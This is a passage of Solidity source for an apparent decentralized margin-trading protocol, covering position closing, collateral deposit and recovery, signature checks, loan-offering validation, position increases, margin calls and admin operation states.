uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
